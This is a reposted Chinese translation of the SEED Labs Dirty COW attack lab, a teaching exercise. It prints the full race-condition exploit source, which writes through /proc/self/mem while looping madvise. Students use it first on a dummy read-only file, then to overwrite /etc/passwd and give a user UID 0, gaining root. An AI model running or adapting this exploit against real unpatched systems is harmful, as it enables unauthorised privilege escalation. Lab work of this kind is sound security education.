1. 程式人生 > >Dirty Cow Attack Lab(中文譯版)

Dirty Cow Attack Lab(中文譯版)

Dirty COW Attack Lab(中文譯版)

版權說明

Copyright © 2017 Wenliang Du, Syracuse University. The development of this document was partially funded by the National Science Foundation under Award No. 1303306 and 1718086. This work is licensed under a Creative Commons Attribution-NonCommercial- ShareAlike 4.0 International License. A human-readable summary of (and not a substitute for) the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes.

1、實驗概覽

Dirty COW

髒牛漏洞是競爭危害中的一個有趣案例。自從2007年開始它就已經存在於Linux之中,但直到2016年10月份才被發現和利用。這一個漏洞幾乎影響所有的以Linux為基礎發展起來的作業系統,包括安卓,因此產生了嚴重的後果:攻擊者可以通過該漏洞獲得ROOT許可權。該漏洞存在於Linux核心的Copy-On-Write(這就是為什麼我們稱為dirty COW Attack)程式碼中。通過該漏洞,攻擊者可以修改任何受保護的檔案,即便對於這些檔案,攻擊者僅有讀許可權。SEED Labs 的參考書籍中的《Computer Security: A Hands-on Approach》第八章對該漏洞做出了詳細的介紹

本實驗的主要目的是讓學生獲得D-COW-Attack的上手經驗,瞭解競爭條件下產生的該漏洞。從而對於一般的競爭條件漏洞有了更深的理解。在本實驗中,學生將學會利用該攻擊來獲得root許可權。

Note:本次實驗基於SEEDUbuntu12.04 虛擬機器,如果你現在使用的是更新的版本的Linux,比如Ubuntu16.04的話,此漏洞已經被修復。

2、Task 1: 修改只讀檔案

The objective of this task is to write to a read-only file using the Dirty COW vulnerability.

該項任務的目的就是利用Dirty-COW漏洞來對一個只讀檔案進行寫操作。

2.1 建立一個只讀檔案

首先,我們需要選擇一個目標檔案。雖然目標檔案可以使系統內任一的可讀檔案,但是為了防止實驗過程可能出現的錯誤影響系統的安全,我們將使用一個自己建立的只讀檔案。請在root目錄下建立一個為zzz的檔案,修改其對普通使用者的許可權為只讀,然後利用編輯器例如gedit隨意輸入一些內容。
We first need to select a target file. Although this file can be any read-only file in the system, we will use
a dummy file in this task, so we do not corrupt an important system file in case we make a mistake. Please
create a file called zzz in the root directory, change its permission to read-only for normal users, and put
some random content into the file using an editor such as gedit.

$ sudo touch /zzz
$ sudo chmod 644 /zzz
$ sudo gedit /zzz
$ cat /zzz
111111222222333333
$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz
$ echo 99999 > /zzz
bash: /zzz: Permission denied

從上面的實驗中我們可以看到,一個普通許可權的使用者如果想要對一個只讀檔案進行寫操作的話會操作失敗,因為對於普通許可權使用者,該檔案僅僅是可讀。然而,因為Dirty-COW在系統中的漏洞,我們可以找到方法來對該檔案進行寫入。我們的目標是把目標模式串”222222”用“**”進行替換。

2.2 設定記憶體對映執行緒

你可以從實驗的網站下載程式attack.c。 該程式擁有三個執行緒:主執行緒,寫執行緒,madvise執行緒( madvise()這個函式可以對對映的記憶體提出使用建議,從而提高記憶體。)。主執行緒的作用是把/zzz檔案對映到記憶體中,並且定位到目標模式222222處,然後建立了兩個新的執行緒來利用Dirty-COW競爭條件漏洞。

Listing 1: The main thread

/ * cow_attack.c (the main thread) * /

include <sys/mman.h>
include <fcntl.h>
include <pthread.h>
include <sys/stat.h>
include <string.h>

void * map;

int main(int argc, char * argv[])
{  
    pthread_t pth1,pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f=open("/zzz", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char * position = strstr(map, "222222"); À

    // We have to do the attack using two threads.
    pthread_create(&pth1, NULL, madviseThread, (void * )file_size); Á
    pthread_create(&pth2, NULL, writeThread, position); Â

    // Wait for the threads to finish.
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

    return 0;

}

在上面的程式碼中,我們需要定位到模式222222處,這裡我們使用了一個字串函式strstr()來找222222在被對映記憶體塊裡的位置。然後我們開始了另外的兩個執行緒。

2.3 設定寫執行緒

寫執行緒的任務即為在記憶體中用**實現對字串222222的替換。由於被對映的記憶體塊使用的是Copy-On-Write機制,單單執行該執行緒僅僅可以對記憶體中的/zzz檔案的映像進行更改,並不能對磁碟上的/zzz檔案內容有任何影響。

Listing 2: The write thread

/ * cow_attack.c (the write thread) * /

void * writeThread(void * arg)
{

    char * content= " ** ";
    off_t offset = (off_t) arg;
    int f=open("/proc/self/mem", O_RDWR);

    while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);

    // Write to the memory.
    write(f, content, strlen(content));
    }

}

2.4 The madvise Thread

madvise()執行緒僅僅做一件事:拋棄在記憶體中更改前檔案映像,以至於頁表可以把指標指向會更改後的對映記憶體塊。

madvise(MADV_DONTNEED)基本功能是清除被管理的記憶體對映的物理頁。就當前情況而言,在呼叫完該函式後,提到的這些頁將被clear。當下一次使用者嘗試訪問這些記憶體區域時,原始的內容會重新從磁碟或者頁快取中匯入,而對於匿名的堆記憶體,則會填充零。

Listing 3: The madvise thread

/ * cow_attack.c (the madvise thread) * /

void * madviseThread(void * arg)
{

    int file_size = (int) arg;

    while(1){
        madvise(map, file_size, MADV_DONTNEED);
    }

}

2.5 發起攻擊

如果write()madvise()系統呼叫是交替被喚醒,比如一個呼叫總是在另一個被完成之後才發生的話,write操作將會永遠只能在私有映像上執行,因此我們也無法完成修改目標檔案的任務。想讓實驗成功的唯一方法就是在write()系統呼叫正在執行的時候執行madvise()。我們並不能保證這樣做一定可以成功,因此我們需要嘗試較多次數,只要成功的概率沒有非常低,我們就有機會成功。這也是為什麼程式中,我們需要在一個有限的迴圈中執行write()madvise().

編譯cow_attck.c檔案,然後讓其保持執行一些時間(十幾秒)。如果你的實驗成功,你將會看到/zzz檔案已經按照你的要求被修改了。

$ gcc cow_attack.c -lpthread
$ a.out
... press Ctrl-C after a few seconds ...

3、Task 2: 修改口令檔案來獲取Root許可權

現在,讓我們對系統中的實際檔案發起攻擊以便我們可以獲得root許可權。我們選擇/etc/passwd檔案作為我們的目標。該檔案的特點是普遍可讀,但是僅有root使用者可以對其進行修改。其包含了所有的使用者賬號資訊,每個使用者一條記錄。假設我們的使用者名稱是seed,下面的程式碼展示了root使用者和seed使用者的記錄:

root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed,123,,:/home/seed:/bin/bash

每條記錄均包含著七個用來作為分隔符的冒號。我們的興趣在於第三個部分,因為其標識了系統分配給使用者的ID值(UID)。UID是取得Linux控制權的重要基礎,所以該UID的值對於系統安全來說至關重要。對於root使用者,其UID是一個特殊的值0,同時也就是該值使其成為了root使用者而不是其使用者名稱。任何一個使用者只要其UID值為0,不管其使用者名稱是什麼,它都會被系統認為是root使用者。在本次實驗中,使用者seed的UID是1000,因此它沒有root許可權。但是如果我們可以將其UID值改為0,那麼seed使用者就可以變成root使用者了。下面我們將利用Dirty COW漏洞過來達到我們的目的。

在本次實驗中,我們將不會使用seed賬戶,因為該賬號在之後的許多實驗中也將會被使用,在本次實驗之後如果我們忘記把其UID改回來,那麼陸續的許多實驗將會受到影響。因此,我們建立一個新的普通使用者賬號charlie,然後我們通過漏洞將該使用者許可權提升到root級別。下面的命令展示瞭如何向系統中新增新的使用者,我們可以看到一旦使用者被新增,一條新的記錄就會在/etc/passwd中生成:

$ sudo adduser charlie
...
$ cat /etc/passwd | grep charlie
charlie:x:1001:1001:,,,:/home/charlie:/bin/bash

我們建議你首先儲存一個/etc/passwd檔案的備份,以防你在實驗過程中出錯使得檔案被破壞。另一個比較方便的方法是在開始本次實驗之前給你的虛擬機器做一個備份(snapshot),這樣一旦出現問題直接回滾(roll back)即可。

任務:你需要修改檔案/etc/passwdcharlie的記錄,將其中第三項的值從10001改為0000。但該檔案對於charlie來說是不可寫的,因此你需要藉助我們所提到的Dirty COW漏洞,你可以修改任務一中的cow_attack.c程式來達到你的目的。

如果你成功完成了本次攻擊,那麼切換到使用者charlie時,你就可以看到shell中的提示命令#,該字元表明使用者身份為root,如果你輸入命令id,你將可以看到你已經獲得了root許可權。

see that you have gained the root privilege.

[email protected]$ su charlie
Passwd:
[email protected]# id
uid=0(root) gid=1001(charlie) groups=0(root),1001(charlie)

4、要求

你需要提交一份完整詳細的實驗報告來描述你的實驗步驟以及你所觀察到的內容。請提供實驗截圖和程式碼塊,同時你也應當對其中有趣或者驚喜的發現作出合理解釋。

下面是整理出來的對完成實驗有非常大的幫助的一些文章:

相關推薦

Dirty Cow Attack Lab(中文譯版)

Dirty COW Attack Lab(中文譯版) 版權說明 Copyright © 2017 Wenliang Du, Syracuse University. The development of this document was pa

CSAPP 3e: Attack Lab

程序 文檔轉換 方法 位置 prot 輸入 predict 而已 執行   註意:開始這個實驗之前請仔細閱讀這個實驗的readme和writup(實驗說明和實驗攻略),仔細閱讀之後,事半功倍。 我使用的是從官網下載下來的self-study handout,實驗過程中不連接

CSAPP LabAttack Lab——手把手教你寫病毒(大誤

png -o spa 字符 寄存器 產生 方法 函數返回 發現 這個實驗要求在5個有不同安全漏洞的代碼上進行攻擊,攻擊分為兩部分: Part 1:Code Injection Attacks(緩沖區溢出攻擊) Part 2:Return-Oriented Programmi

Shellshock Attack Lab代寫、代寫網絡實驗報告程序、幫寫Shellshock程序、C/C++實驗作業代做、幫寫

rpo do it about therefore student eating pan control del SEED Labs – Shellshock Attack Lab 1Shellshock Attack LabCopyright ? 2006 - 2016

CSAPP 3e Attack lab

總結一下CSAPP第三版的各個lab。 這裡介紹的是Attack lab,主要考察code-injection、return-oriented-programming攻擊的理解,和gdb,objdump的簡單使用。 首先登陸網站http://csapp.cs

Linux Dirty COW(髒牛)漏洞介紹及檢測

漏洞描述 描述引用來源:https://github.com/dirtycow A race condition was found in the way the Linux kernel’s memory subsystem handled th

CSAPP:Attack Lab —— 緩衝區溢位攻擊實驗

Warm-up X86-64暫存器和棧幀 X86-64有16個64位暫存器 : -%rax 作為函式返回值使用。 - %rsp 棧指標暫存器,指向棧頂。 - %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函式引數,依

【SEED Labs】DNS Rebinding Attack Lab

Lab Overview 實驗環境下載:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在這個實驗中模擬的物聯網裝置是一個恆溫器,用於控制室內溫度。要成功設定溫度,客戶端需要能夠與物聯網伺服器互動。由於物聯網裝置在防火牆後面,

Bootstrap Table 中文文檔(完整翻譯版

classes keyword onenter boolean 順序 rip -name 從表 switch 表格參數: 名稱標簽類型默認描述 - data-toggle String ‘table’ 不用寫 JavaScript 直接啟用表格。 classe

What the f*ck Python!(中文譯版)

What the f*ck Python! From:https://github.com/leisurelicht/wtfpython-cn 一些有趣且鮮為人知的 Python 特性. Python, 是一個設計優美的解釋型高階語言, 它提供了很多能讓程式設計師感到舒適的功能

中文譯版php.ini配置檔案

;;;;;;;;;;; ; 警告 ; ;;;;;;;;;;; ; 此配置檔案是對於新安裝的PHP的預設設定. ; 預設情況下,PHP使用此配置檔案安裝 ; 此配置針對開發目的,並且*不是*針對生產環境 ; 基於一些安全方面的考慮,在你的網站上線之前,請考慮使用php.ini-recommended ;

The j.u.c Synchronizer Framework中文譯版

原文連結 The java.util.concurrent Synchronizer Framework 中文翻譯版 作者:Doug Lea 譯者:歐振聰  校對:丁一 背景介紹 需求 設計與實現 用法 效能 總結 摘要 在J2SE 1.5的java.util.concurrent包(下稱

java8 JDK1.8 API 中文譯版 java幫助文件

java 1.6 幫助文件 中文 英文 Java1.8 幫助文件 英文 中文 – 谷歌版 中文 – 有道版 中文 – 百度版 JDK1.8 API 英文 Java幫助文件 JDK API java 幫助文件  J

官方 Hadoop 2.5.2 命令參考(中文譯版

dfsadmin [GENERIC_OPTIONS] [-report] [-safemodeenter | leave | get | wait] [-refreshNodes] [-finalizeUpgrade] [-upgradeProgressstatus | details | force]

jQuery 1.9升級指南(中文譯版

jQuery 1.9刪除或修改了幾個過去行為不一致或效率低下的幾個API。他們在以前的jQuery版本中已經標註過過時(deprecated)的API,特別是1.7和1.8。 在做這些變化中,團隊的目標是修復jQuery的行為不一致或比較難使用的地方,在這個過程中提高整

java8 API 中文譯版 java幫助文件下載

Java1.8 幫助文件中文 – 谷歌版線上版: https://blog.fondme.cn/apidoc/jdk-1.8-google/下載連結:https://pan.baidu.com/s/10wTC1F_4EUPsHzrn-_sPTw 密碼:k7rm中文 – 有道版

XV6學習(9)Lab cow: Copy-on-write fork

程式碼在[github](https://github.com/weijunji/xv6-6.S081/tree/cow)上。總體來說如果理解了COW機制的話,這個實驗的完成也沒有很複雜。 這一個實驗是要完成COW(copy on write)fork。在原始的XV6中,fork函式是通過直接對程序的地址空

SQL農歷轉換函數(顯示中文格式,加入潤月的顯示)

turn 農歷 etime object reat arch () bject blog if object_id(‘fn_getlunar‘) is not null drop function fn_getlunar go create function d

JAVA開發中文亂碼的幾個解決方案

ont character delete bsp mage gbk net utf-8 type 一:html亂碼或者引入的JS亂碼 1:第一步,text file encoding 首先確保文件的保存格式要UTF-8,如在eclipse中,要在文件上點屬性,確保這裏選擇U

phpexcel不能輸出中文

轉換函數 nbsp 編碼 php cell div excel 網上 phpexcel 問題描寫敘述:在使用phpexcel時,假設在單元格中填充中文內容,會導致輸出單元格為空的情況,甚至連中文的字符(?!等)都無法識別。 產生原因:從網上查是utf-8的問題 解決方法